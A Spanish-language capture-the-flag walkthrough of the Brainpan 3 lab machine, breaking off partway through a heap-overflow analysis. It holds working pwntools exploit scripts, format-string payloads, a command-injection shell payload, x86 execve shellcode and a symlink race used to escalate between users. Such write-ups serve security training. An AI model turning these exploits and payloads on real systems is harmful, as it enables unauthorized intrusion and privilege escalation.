Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde solo encontramos 1 puertos abierto, este es el 1337
que no tiene un servicio por defecto
❯ nmap 192.168.100.64
Nmap scan report for 192.168.100.64
PORT STATE SERVICE
1337/tcp open waste
Al conectarnos con netcat
al servicio corriendo en el puerto 1337
nos recibe un banner con el nombre de la maquina y se nos pide un codigo
para poder acceder
❯ netcat 192.168.100.64 1337
__ ) _ \ \ _ _| \ | _ \ \ \ | _ _| _ _| _ _|
__ \ | | _ \ | \ | | | _ \ \ | | | |
| | __ < ___ \ | |\ | ___/ ___ \ |\ | | | |
____/ _| \_\ _/ _\ ___| _| \_| _| _/ _\ _| \_| ___| ___| ___|
by superkojiman
AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
ACCESS CODE:
Mediante un ataque de format string
podemos llegar a lekear valores, desdes de enviar 4 veces %p
separado por puntos nos devuelve algunos valores en hexadecimal
ACCESS CODE: %p.%p.%p.%p
ERROR #1: INVALID ACCESS CODE: 0xbfedcf7c.(nil).0x5ce.0xbfedcf7c
ACCESS CODE MUST BE 4 DIGITS
FAILED LOGIN ATTEMPTS: 1
AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
ACCESS CODE:
Para ver mejor los valores podemos usar %d
y asi verlos en decimal, el tercer valor parece ser el codigo
de 4 digitos que necesitamos para acceder al programa
ACCESS CODE: %d.%d.%d.%d
ERROR #1: INVALID ACCESS CODE: -1074933892.0.1486.-1074933892
ACCESS CODE MUST BE 4 DIGITS
FAILED LOGIN ATTEMPTS: 2
AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
ACCESS CODE:
Al enviarlo nos otorga acceso y nos muestra las funciones
que tiene el programa
ACCESS CODE: 1486
--------------------------------------------------------------
SESSION: ID-9705
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
Para solo obtener el tercer valor en decimal que es el codigo podemos usar %3$d
ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 8698
ACCESS CODE MUST BE 4 DIGITS
FAILED LOGIN ATTEMPTS: 1
AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
ACCESS CODE: 8698
--------------------------------------------------------------
SESSION: ID-9289
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
Podemos crear un script en python
que se encargue de conectarse, obtener el codigo abusando del leak y enviarlo, despues entramos en modo interactivo
#!/usr/bin/python3
from pwn import remote
shell = remote("192.168.100.64", 1337)
shell.sendlineafter(b"CODE: ", b"%3$d")
shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()
shell.sendlineafter(b"CODE: ", code)
shell.interactive("")
Al ejecutarlo automatiza el proceso del codigo
acceso y entra en modo interactivo que nos pide un nuevo comando, esta vez tenemos diferentes opciones
del 1 al 5
❯ python3 exploit.py
[+] Opening connection to 192.168.100.64 on port 1337: Done
[*] Switching to interactive mode
--------------------------------------------------------------
SESSION: ID-6326
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
Shell - anansi
La opción 4
llama la atencion ya que se llama SHELL
, al introducirla nos otorga lo que parece ser una shell como reynard
donde ejecutamos comandos basicos
ENTER COMMAND: 4
SELECTED: 4
reynard@brainpan3 $ id
uid=1000(reynard) gid=1000(reynard)
reynard@brainpan3 $ ls
total 0
-rw-rw-r-- 1 reynard reynard 22 May 10 22:26 .flag
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 give
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 up
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 let
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 down
reynard@brainpan3 $ cat .flag
(ಠ_ಠ)
reynard@brainpan3 $
Sin embargo claramente no puede ser tan sencillo ya que solo es una shell simulada
reynard@brainpan3 $ pwd
pwd: command not found
reynard@brainpan3 $ cd
cd: command not found
reynard@brainpan3 $
La 1 que es REPORT
esta deshabilitada, asi que podemos pasar a la 2
, la cual parece que habilita un repositorio
, que realmente no sabemos donde se encuentra
ENTER COMMAND: 2
SELECTED: 2
CODE REPOSITORY IS NOW AVAILABLE
--------------------------------------------------------------
SESSION: ID-2334
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
Si escaneamos de nuevo los puertos con nmap
podemos encontrar el 8080
abierto
❯ nmap 192.168.100.64
Nmap scan report for 192.168.100.64
PORT STATE SERVICE
1337/tcp open waste
8080/tcp open http-proxy
La pagina principal es simplemente una imagen
que no nos aporta nada interesante
Fuzzeando por archivos y directorios nos encontramos un /repo
y un /robots.txt
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.64:8080/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.64:8080/FUZZ
Total requests: 4715
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002194: 200 12 L 22 W 241 Ch "index.html"
000003509: 301 0 L 0 W 0 Ch "repo"
000003571: 200 2 L 4 W 34 Ch "robots.txt"
El robots.txt
nos muestra un directorio /bp3_repo
pero al entrar a este no nos aporta nada interesante, solo nos muestra un simple gif
modificado de mario
En el directorio /repo
podemos encontrar algunos archivos, entre ellos binarios
que podemos analizar pero realmente no nos aportaran ni nos llevaran a algo
Igual que al inicio podemos explotar la vulnerabilidad de format string
enviando el payload varias veces y usando %x
para representar los leaks en hexadecimal
ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
--------------------------------------------------------------
SESSION: bfa40bac.104.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.780a0a78.a.0.0.b7772000.b7772ac0.b7773898.b75c6940.b76380b5.b7772ac0.59.4e.59.b77728a0.b7772000.b7772ac0
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
En los leaks que vemos hay una cadena que se repite bastante y es 252e7825
la cual al pasarla a ascii podemos ver que equivale a %x.%
que forma parte de nuestro input
❯ echo 252e7825 | xxd -ps -r | rev
%x.%
Mas adelante tambien encontramos 3 valores separados por los .
y son 59 4e 59
los cuales equivalen a Y N Y
que curiosamente coinciden con los valores que vemos
❯ echo 59.4e.59 | xxd -ps -r | rev
YNY
El N
del campo REPORT
significa que esta deshabilitado pero lo vemos en el leak
, tal vez si enviamos suficientes veces Y
podemos sobreescribir su valor y habilitarlo
AUTH [Y] REPORT [N] MENU [Y]
Para probarlo podemos enviar en el campo 3
varias veces Y
hasta que el valor del campo REPORT
cambie a Y
y cuando lo haga nos muestre los bytes
enviados
#!/usr/bin/python3
from pwn import remote, log
shell = remote("192.168.100.64", 1337)
shell.sendlineafter(b"CODE: ", b"%3$d")
shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()
shell.sendlineafter(b"CODE: ", code)
bar = log.progress("Bytes")
for bytes in range(1, 1024):
shell.sendlineafter(b"COMMAND: ", b"3")
junk = b"Y" * bytes
shell.sendlineafter(b"NAME: ", junk)
shell.recvuntil(b"REPORT ")
output = shell.recv(3).decode()
bar.status(f"{str(bytes)} {output}")
if output == "[Y]":
bar.success(f"{str(bytes)} {output}")
break
Ejecutamos el script y despues de enviar 253
el caracter Y
el valor de REPORT
se sobreescribe cambia a Y
por lo que probablemente se habilite y podamos usarlo
❯ python3 exploit.py
[+] Opening connection to 192.168.100.64 on port 1337: Done
[+] Bytes: 253 [Y]
[*] Closed connection to 192.168.100.64 port 1337
Para automatizar el conseguir el codigo
para conectarnos y sobreescribir el valor de REPORT
para habilitarlo podemos hacerlo con un pequeño script en python
#!/usr/bin/python3
from pwn import remote
shell = remote("192.168.100.64", 1337)
shell.sendlineafter(b"CODE: ", b"%3$d")
shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()
shell.sendlineafter(b"CODE: ", code)
shell.sendlineafter(b"COMMAND: ", b"3")
shell.sendlineafter(b"NAME: ", b"Y" * 253)
shell.interactive("")
Al ejecutarlo nos otorga el modo interactivo despues de hacer que el valor de REPORT
sea igual Y
por lo que deberiamos poder ejecutar el comando 1 que antes no
❯ python3 exploit.py
[+] Opening connection to 192.168.100.64 on port 1337: Done
[*] Switching to interactive mode
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
Si enviamos el comando 1
para crear un reporte nos pide un input para crearlo, en este caso al enviar la cadena testing
esta se ve reflejada solo un poco mas abajo
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
testing
REPORT [testing]
SENDING TO REPORT MODULE
[+] WRITING REPORT TO /home/anansi/REPORTS/20230731164539.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [l}klqv\x7f]
Si al input le añadimos una "
la respuesta nos muestra un error de sintaxis por sh
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
testing"
REPORT [testing"4]
SENDING TO REPORT MODULE
sh: 1: Syntax error: Unterminated quoted string
Esta haciendo algo con nuestro input usando una shell, si intentamos enviar $(id)
para ejecutar el comando id nos refleja nuestro input y no el comando ejecutado
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
$(id)
REPORT [$(id)]
SENDING TO REPORT MODULE
[+] WRITING REPORT TO /home/anansi/REPORTS/20230802100342.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [\x91\x8d\x80\xdb\xdb\xdb\xdb\xdb\xdb\x85\x8a\x85\x8a\x97\x8d\xdb\xdb\x83\x8d\x80\xdb\xdb\xdb\xdb\xdb\xdb\x93\x81\x86\x80\x81\x92\xdb\xdb\x81\x91\x8d\x80\xdb\xdbۖ\x8b\x8b\x90\xdb\xdb\x83\x96\x8b\x91\x94\x97\xdb\xdbۖ\x8b\x8b\x90\xdb]
Al enviar el output stderr añadiendole >&2
esta vez nos muestra el output del comando id
ejecutado en el sistema, que parece que se ejecuta como anansi
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
$(id >&2)
REPORT [$(id >&2)]
SENDING TO REPORT MODULE
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[+] WRITING REPORT TO /home/anansi/REPORTS/20230802101150.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED []
Podemos simplemente cambiar el id por bash -i
obtenemos una bash interactiva
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
$(bash -i >&2)
REPORT [$(bash -i >&2)]
SENDING TO REPORT MODULE
bash: cannot set terminal process group (1281): Inappropriate ioctl for device
bash: no job control in this shell
anansi@brainpan3:/$ id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ hostname -I
192.168.100.64
anansi@brainpan3:/$
Ahora podemos agregar esta parte final al script y nos queda un pequeño autopwn
#!/usr/bin/python3
from pwn import remote
shell = remote("192.168.100.64", 1337)
shell.sendlineafter(b"CODE: ", b"%3$d")
shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()
shell.sendlineafter(b"CODE: ", code)
shell.sendlineafter(b"COMMAND: ", b"3")
shell.sendlineafter(b"NAME: ", b"Y" * 253)
shell.sendlineafter(b"COMMAND: ", b"1")
shell.sendlineafter(b"LINE:", b"$(bash -i >&2)")
shell.recvuntil(b"shell\n")
shell.interactive("")
Aunque al ejecutarlo nos otorga directamente una shell
como el usuario anansi es mejor hacerlo manual para poder tratar la tty
y mejorar la interactividad de la shell
❯ python3 exploit.py
[+] Opening connection to 192.168.100.64 on port 1337: Done
[*] Switching to interactive mode
anansi@brainpan3:/$ id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ hostname -I
192.168.100.64
anansi@brainpan3:/$
Shell - reynard
Buscando por archivos suid
encontramos uno que llama bastante la atención ademas del clasico pkexec y es el binario cryptor
el cual pertenece a reynard
anansi@brainpan3:~$ find / -perm -u+s 2>/dev/null
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/pt_chown
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/home/reynard/private/cryptor
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/umount
/bin/ping6
anansi@brainpan3:~$ ls -l /home/reynard/private/cryptor
-rwsr-xr-x 1 reynard reynard 5568 May 19 2015 /home/reynard/private/cryptor
anansi@brainpan3:~$
Despues de copiarnos el binario a nuestro equipo podemos decompilarlo con ida
La función main
simplemente comprueba que se reciban 2
argumentos, si es asi llama a la funcion que llamamos cryptor
con los parametros como argumentos
int __cdecl main(int argc, char **argv)
{
if ( argc > 2 )
{
cryptor(argv[1], argv[2]);
return 0;
}
else
{
printf("Usage: %s file key\n", *argv);
return 1;
}
}
Resumiendo esta funcion primero define un buffer
de 100 bytes en filename, despues si la longitud del primer argumento es 116
usa strcpy
hacia filename
bytes, mas adelante encontramos otro strcpy
del 2do argumento hacia outfile
int __cdecl cryptor(int param_1, int param_2)
{
int key; // ebx
int character; // eax
char filename[100]; // [esp+Ch] [ebp-78h] BYREF
int original; // [esp+70h] [ebp-14h]
int i; // [esp+74h] [ebp-10h]
int file; // [esp+78h] [ebp-Ch]
memset(&outfile, 0, 100);
memset(filename, 0, sizeof(filename));
if ( (unsigned int)strlen(param_1) <= 116 )
strcpy(filename, param_1);
else
strncpy(filename, param_1, 90);
strcat(filename, ".enc");
printf("[+] saving to %s\n", filename);
strcpy(&outfile, param_2);
file = fopen(param_1, "r");
if ( file )
{
for ( i = fopen(filename, "w"); ; fputc(character ^ key, i) )
{
original = fgetc(file);
if ( original == -1 )
break;
key = (char)original;
character = atoi(param_2);
}
fclose(i);
fclose(file);
}
return 0;
}
Mirando las protecciones del binario con checksec
no encontramos ninguna activada
❯ checksec cryptor
[*] '/home/kali/cryptor'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Debido a las comprobaciones el primer argumento
tendria que ser exactamente igual a 116
para que el programa se corrompa de lo contrario solo saldra sin problemas
❯ gdb -q cryptor
Reading symbols from cryptor...
(No debugging symbols found in cryptor)
pwndbg> run $(python2 -c 'print("A"*115)') BBBB
Starting program: /home/kali/cryptor $(python2 -c 'print("A"*115)') BBBB
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] saving to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.enc
pwndbg> run $(python2 -c 'print("A"*117)') BBBB
Starting program: /home/kali/cryptor $(python2 -c 'print("A"*117)') BBBB
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] saving to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.enc
pwndbg>
Si enviamos 116
bytes el programa se corrompe en algun punto de nuestras A's
pwndbg> run $(python2 -c 'print("A"*116)') BBBB
Starting program: /home/kali/cryptor $(python2 -c 'print("A"*116)') BBBB
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] saving to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.enc
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
pwndbg>
El strcpy
hacia outfile
se hace en la direccion 0x804a080
, si miramos el valor de esa direccion en gdb
nos encontraremos con el segundo argumento que son las B
pwndbg> x/wx 0x804a080
0x804a080: 0x42424242
pwndbg>
Crearemos un script que en el primer argumento envie 29
veces la cadena en little endian correspondiente a la direccion 0x804a080
para que sean los 116
bytes, y en el segundo un shellcode en x86 el cual nos ejecutara una /bin/sh
#!/usr/bin/python2
import struct
p32 = lambda addr: struct.pack("I", addr)
arg1 = p32(0x804a080) * 29
arg2 = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
print(arg1 + " " + arg2)
De esta manera en algun punto del primer argumento el strcpy
nos enviara a la direccion 0x804a080
donde esta el segundo argumento el cual es el shellcode
que al ejecutarlo nos dara una /bin/sh
como el propietario que es el usuario reynard
Finalmente ejecutamos el binario cryptor
pasandole nuestro script ejecutado como argumento y conseguimos una shell
como el usuario reynard
en la maquina
anansi@brainpan3:/home/reynard/private$ ./cryptor $(python2 exploit.py)
[+] saving to �����������������������������.enc
$ whoami
reynard
$ hostname -I
192.168.100.64
$
Para mejorar la shell podemos usar python
y setear nuestro uid a 1002
que que es reynard para despues lanzarnos una bash
donde trabajaremos de mas comodos
$ python3 -q
>>> import os
>>> os.setreuid(1002,1002)
>>> os.system("bash")
reynard@brainpan3:~/private$ id
uid=1002(reynard) gid=1002(reynard) groups=1002(reynard)
reynard@brainpan3:~/private$ hostname -I
192.168.100.64
reynard@brainpan3:~/private$
Shell - puck
Si miramos los puertos
dentro de la maquina podemos ver que hay un servicio corriendo en el puerto 7075
, al conectarnos con nc nos devuelve Incorrect key
reynard@brainpan3:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:7075 0.0.0.0:* LISTEN
tcp 0 0 192.168.100.64:1337 192.168.100.85:36100 ESTABLISHED
reynard@brainpan3:~$ netcat 127.0.0.1 7075
Incorrect key
reynard@brainpan3:~$
En el directorio /usr/local/sbin
encontramos un binario trixd
que hace lo mismo
reynard@brainpan3:/usr/local/sbin$ ls -l
-rwxr-xr-x 1 root root 16589 May 26 2015 brainpan3
-rwxr-xr-x 1 root root 7609 May 20 2015 trixd
-rwxr-xr-x 1 root root 343 May 21 2015 www
reynard@brainpan3:/usr/local/sbin$ ./trixd
open: Permission denied
Incorrect key
reynard@brainpan3:/usr/local/sbin$
Nuevamente podemos decompilar el binario usando ida
para ver si codigo en C
Resumiendo lo que hace el codigo, comprueba que /mnt/usb/key.txt
no tenga el bit de setuid
activado, hace un pequeño sleep
y despues compara el key.txt
de /mnt/usb/
con el de /home/puck/
, si son iguales nos otorga una /bin/sh
int __cdecl main()
{
int home_key; // eax
int usb_key; // eax
int comparison; // ebx
void (*check)(void); // edx
int result; // eax
int key2; // [esp+1Ch] [ebp-9Ch]
int key1; // [esp+1Ch] [ebp-9Ch]
_DWORD attr[2]; // [esp+24h] [ebp-94h] BYREF
_WORD buffer1[44]; // [esp+2Ch] [ebp-8Ch] BYREF
_BYTE buffer2[20]; // [esp+84h] [ebp-34h] BYREF
_BYTE buffer3[20]; // [esp+98h] [ebp-20h] BYREF
unsigned int thread; // [esp+ACh] [ebp-Ch]
thread = __readgsdword(0x14u);
if ( ptrace(0, 0, 1, 0) < 0 )
{
comparison = -1;
}
else
{
setbuf(stdout, 0);
attr[1] = 1;
memset(buffer2, 0, sizeof(buffer2));
memset(buffer3, 0, sizeof(buffer3));
__lxstat(3, "/mnt/usb/key.txt", buffer1);
if ( (buffer1[8] & 0xF000) == 0xA000 )
{
comparison = -1;
puts("Key file is compromised.");
}
else
{
select(1, 0, 0, 0, attr);
home_key = open("/home/puck/key.txt", 0);
if ( home_key < 0 )
{
key1 = home_key;
perror("open");
home_key = key1;
}
read(home_key, buffer2, 19);
usb_key = open("/mnt/usb/key.txt", 0);
if ( usb_key < 0 )
{
key2 = usb_key;
perror("open");
usb_key = key2;
}
read(usb_key, buffer3, 19);
comparison = strcmp(buffer3, buffer2);
if ( comparison )
{
comparison = 0;
puts("Incorrect key");
}
else
{
puts("Authentication successful");
system("/bin/sh");
}
}
}
check = (void (*)(void))(__readgsdword(0x14u) ^ thread);
result = comparison;
if ( check )
start(comparison, check);
return result;
}
El hecho de que haga la comprobacion nos impide crear un enlace simbolico
y conectarnos al puerto 7075, ya que nos dira que el archivo key esta comprometido
reynard@brainpan3:~$ ln -s -f /mnt/usb/key.txt /mnt/usb/key.txt
reynard@brainpan3:~$ netcat 127.0.0.1 7075
Key file is compromised.
reynard@brainpan3:~$
Podemos crear un script en python
para que se conecte al puerto 7075
y despues de la comprobacion en ese pequeño margen de tiempo
crear el enlace simbolico, de esta manera al hacer la comparacion seran iguales y nos dara la /bin/sh
#!/usr/bin/python3
import os, socket, telnetlib
os.remove("/mnt/usb/key.txt")
session = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
session.connect(("127.0.0.1", 7075))
os.symlink("/home/puck/key.txt", "/mnt/usb/key.txt")
shell = telnetlib.Telnet()
shell.sock = session
shell.interact()
Al ejecutarlo bypasseamos la comprobacion
inicial y nos autentica correctamente, con esto obtenemos una shell
esta vez como el usuario que lo corre, que es puck
reynard@brainpan3:~$ python3 exploit.py
Authentication successful
script /dev/null -c bash
puck@brainpan3:/$ id
uid=1001(puck) gid=1001(puck) groups=1001(puck)
puck@brainpan3:/$ hostname -I
192.168.100.64
puck@brainpan3:/$
Shell - root
Revisando las tareas cron
encontramos una llamada msg_admin la cual ejecuta el binario msg_admin
pasandole como primer argumento 1
y en en el segundo cada uno de los archivos de extensión .msg
que existen en /opt/.messenger/
puck@brainpan3:~$ cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done
puck@brainpan3:~$
Usando ida
podemos decompilar este ultimo binario para ver su pseudocodigo C
Resumiendo el codigo este usa nuevamente funciones vulnerables como strcpy
, recibe 2 parametros que lee por cada linea de un archivo separandolos por |
, tambien vemos algunas llamadas a malloc
por lo que sabemos que usa el heap
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *stack; // esp
int input_number_1; // ebx
int input_number_2; // ebx
int input_count; // ebx
int input_buffer; // [esp-Ch] [ebp-8Ch] BYREF
const char **argument; // [esp+0h] [ebp-80h]
int counter; // [esp+4h] [ebp-7Ch]
int alloc_1; // [esp+Ch] [ebp-74h] BYREF
int alloc; // [esp+10h] [ebp-70h]
int i; // [esp+14h] [ebp-6Ch]
int data; // [esp+18h] [ebp-68h]
int len; // [esp+1Ch] [ebp-64h]
int value; // [esp+20h] [ebp-60h]
int *memory_alloc; // [esp+24h] [ebp-5Ch]
int file; // [esp+28h] [ebp-58h]
int alloc_size; // [esp+2Ch] [ebp-54h]
int alloc_value; // [esp+30h] [ebp-50h]
const char *delimiter; // [esp+34h] [ebp-4Ch]
int string; // [esp+38h] [ebp-48h]
int input[17]; // [esp+3Ch] [ebp-44h] BYREF
input[13] = (int)&argc;
counter = argc;
argument = argv;
input[10] = __readgsdword(0x14u);
data = 0;
len = 10;
alloc = 0;
i = 0;
value = 399;
stack = alloca(400);
memory_alloc = &input_buffer;
if ( argc > 2 )
{
data = atol(argument[1]);
file = fopen(argument[2], "r");
alloc_1 = malloc(400);
alloc_size = malloc(20);
alloc_value = malloc(100);
while ( getline(&alloc_1, &LINEMAX_2, file) > 0 )
++alloc;
printf("[+] Recording %d entries\n", alloc);
rewind(file);
for ( i = 0; i < alloc; ++i )
{
input[i] = malloc(12);
*(_DWORD *)input[i] = data;
input_number_1 = input[i];
*(_DWORD *)(input_number_1 + 4) = malloc(10);
input_number_2 = input[i];
*(_DWORD *)(input_number_2 + 8) = malloc(200);
}
for ( i = 0; i < alloc; ++i )
{
delimiter = "|";
if ( getline(&alloc_1, &LINEMAX_2, file) > 1 )
{
input_count = alloc_1;
*(_BYTE *)(input_count + strlen(alloc_1) - 1) = 0;
string = strtok(alloc_1, delimiter);
strcpy(*(_DWORD *)(input[i] + 4), string);
string = strtok(0, delimiter);
strcpy(*(_DWORD *)(input[i] + 8), string);
strncpy(memory_alloc, *(_DWORD *)(input[i] + 8), 100);
}
}
fclose(file);
notify_admin(input, alloc);
return 0;
}
else
{
usage(*argument);
return 1;
}
}
Mirando las protecciones usando checksec
encontramos NX
y Canary
habilitadas
❯ checksec msg_admin
[*] '/home/kali/msg_admin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Ya que toma los argumentos de un archivo podemos crear un .msg
de 2 lineas y pasando los argumentos con 10
y 200
bytes respectivamente separandolos por |
#!/usr/bin/python3
payload = b""
payload += b"A" * 10
payload += b"|"
payload += b"B" * 200
payload += b"\n"
payload += b"C" * 10
payload += b"|"
payload += b"D" * 200
payload += b"\n"
with open("exploit.msg", "wb") as file:
file.write(payload)
Ahora podemos ejecutarlo como se muestra en la tarea cron con 1
como primer argumento y el nombre del exploit.msg
que creamos como segundo argumento
❯ gdb -q msg_admin
Reading symbols from msg_admin...
(No debugging symbols found in msg_admin)
pwndbg> run 1 exploit.msg
Starting program: /home/kali/msg_admin 1 exploit.msg
[+] Recording 2 entries
[+] Message from AAAAAAAAAA@kali
Program received signal SIGSEGV, Segmentation fault.
0xf7e899e4 in fputs () from ./libc.so.6
pwndbg>
Sabemos que ejecuta algunos malloc
asi que con vis
veamos el heap
para ver como se representan los datos, en el chunk en 0x804c474
podemos ver 2 punteros, uno en 0x804c47c
y otro en 0x804c480
que tal vez podemos sobreescribir
pwndbg> vis 5 0x804c390
0x804c390 0x0804c3a8 0x00000011 ........
0x804c398 0x41414141 0x41414141 AAAAAAAA
0x804c3a0 0x00004141 0x000000d1 AA......
0x804c3a8 0x42424242 0x42424242 BBBBBBBB
0x804c3b0 0x42424242 0x42424242 BBBBBBBB
0x804c3b8 0x42424242 0x42424242 BBBBBBBB
0x804c3c0 0x42424242 0x42424242 BBBBBBBB
0x804c3c8 0x42424242 0x42424242 BBBBBBBB
0x804c3d0 0x42424242 0x42424242 BBBBBBBB
0x804c3d8 0x42424242 0x42424242 BBBBBBBB
0x804c3e0 0x42424242 0x42424242 BBBBBBBB
0x804c3e8 0x42424242 0x42424242 BBBBBBBB
